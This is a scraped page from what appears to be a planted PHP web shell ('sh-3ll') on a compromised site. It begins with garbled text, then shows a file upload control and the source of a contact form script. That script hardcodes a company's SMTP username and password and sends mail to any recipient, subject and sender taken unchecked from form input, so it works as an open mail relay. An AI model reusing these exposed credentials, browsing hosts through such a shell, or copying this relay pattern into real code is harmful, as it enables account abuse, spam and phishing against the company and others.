fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/public_html/forms/
Upload File :
Current File : /home/u1105814/public_html/forms/contact1.php
<?php

$to = $_POST['to'];
$subject = $_POST['subject'];
$txt = $_POST['message'];
$headers = "From:" . $_POST['email'];


    ini_set( 'display_errors', 1 );   
    error_reporting( E_ALL ); 
    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\Exception;
    
    
    require_once "library/PHPMailer.php";
    require_once "library/Exception.php";
    require_once "library/OAuth.php";
    require_once "library/POP3.php";
    require_once "library/SMTP.php";
    $mail = new PHPMailer();
    $mail->IsSMTP();
    $mail->SMTPDebug = 0;
    $mail->SMTPAuth = TRUE;
    $mail->SMTPSecure = "ssl";
    $mail->Port     = 465;  
    $mail->Username = "marketing@lcmshipping.co.id";
    $mail->Password = "Lcmshipping1234";
    $mail->Host     = "srv105.niagahoster.com";
    $mail->Mailer   = "smtp";
    $mail->SetFrom("web.contact@lcmshipping.co.id");
    
    $mail->AddAddress($to); 
    $mail->Subject = $subject;
    $mail->WordWrap   = 80;
    $mail->MsgHTML($headers.'<br><br>'.$txt);
    $mail->IsHTML(true);

    if(!$mail->Send()) {
  
		echo "<script>alert('Problem in Sending Mail.');history.go(-1);</script>";
	}
	else{
		echo "<script>alert('Mail Sent Successfully.');history.go(-1);</script>";
	}

?>